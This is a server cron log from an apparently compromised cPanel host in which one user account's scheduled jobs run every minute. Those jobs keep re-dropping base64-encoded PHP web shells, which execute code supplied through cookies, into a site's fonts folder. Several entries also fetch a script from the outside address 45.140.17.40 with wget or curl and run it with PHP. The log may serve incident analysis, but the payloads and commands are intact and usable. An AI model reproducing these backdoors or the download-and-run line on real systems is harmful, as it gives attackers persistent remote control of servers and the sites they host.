Sep  6 13:52:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:53:01 ip-184-168-122-23 CROND[32365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:53:01 ip-184-168-122-23 CROND[32368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:53:01 ip-184-168-122-23 CROND[32367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:53:01 ip-184-168-122-23 CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:54:01 ip-184-168-122-23 CROND[32684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:54:01 ip-184-168-122-23 CROND[32686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:54:01 ip-184-168-122-23 CROND[32687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:54:01 ip-184-168-122-23 CROND[32688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:54:01 ip-184-168-122-23 CROND[32689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:55:01 ip-184-168-122-23 CROND[510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:55:01 ip-184-168-122-23 CROND[512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:55:01 ip-184-168-122-23 CROND[513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:55:01 ip-184-168-122-23 CROND[514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:55:01 ip-184-168-122-23 CROND[516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:55:01 ip-184-168-122-23 CROND[515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:56:01 ip-184-168-122-23 CROND[818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:56:01 ip-184-168-122-23 CROND[819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:56:01 ip-184-168-122-23 CROND[822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:56:01 ip-184-168-122-23 CROND[820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:56:01 ip-184-168-122-23 CROND[821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:57:01 ip-184-168-122-23 CROND[1059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:57:01 ip-184-168-122-23 CROND[1060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:57:01 ip-184-168-122-23 CROND[1063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:57:01 ip-184-168-122-23 CROND[1061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:58:01 ip-184-168-122-23 CROND[1324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:58:01 ip-184-168-122-23 CROND[1325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:58:01 ip-184-168-122-23 CROND[1323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:58:01 ip-184-168-122-23 CROND[1326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:58:01 ip-184-168-122-23 CROND[1327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:59:01 ip-184-168-122-23 CROND[1656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:59:01 ip-184-168-122-23 CROND[1655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:59:01 ip-184-168-122-23 CROND[1657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:59:01 ip-184-168-122-23 CROND[1658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:00:01 ip-184-168-122-23 CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:00:01 ip-184-168-122-23 CROND[1905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:00:01 ip-184-168-122-23 CROND[1907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:01:01 ip-184-168-122-23 CROND[2170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:01:01 ip-184-168-122-23 CROND[2173]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 14:01:01 ip-184-168-122-23 CROND[2176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:01:01 ip-184-168-122-23 CROND[2174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:01:01 ip-184-168-122-23 CROND[2175]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:01:01 ip-184-168-122-23 CROND[2177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2173]: starting 0anacron
Sep  6 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2192]: finished 0anacron
Sep  6 14:02:01 ip-184-168-122-23 CROND[2394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:02:01 ip-184-168-122-23 CROND[2396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:02:01 ip-184-168-122-23 CROND[2398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:02:01 ip-184-168-122-23 CROND[2397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:02:01 ip-184-168-122-23 CROND[2399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:03:01 ip-184-168-122-23 CROND[2648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:03:01 ip-184-168-122-23 CROND[2651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:03:01 ip-184-168-122-23 CROND[2652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:03:01 ip-184-168-122-23 CROND[2650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:04:01 ip-184-168-122-23 CROND[2858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:04:01 ip-184-168-122-23 CROND[2859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:04:01 ip-184-168-122-23 CROND[2862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
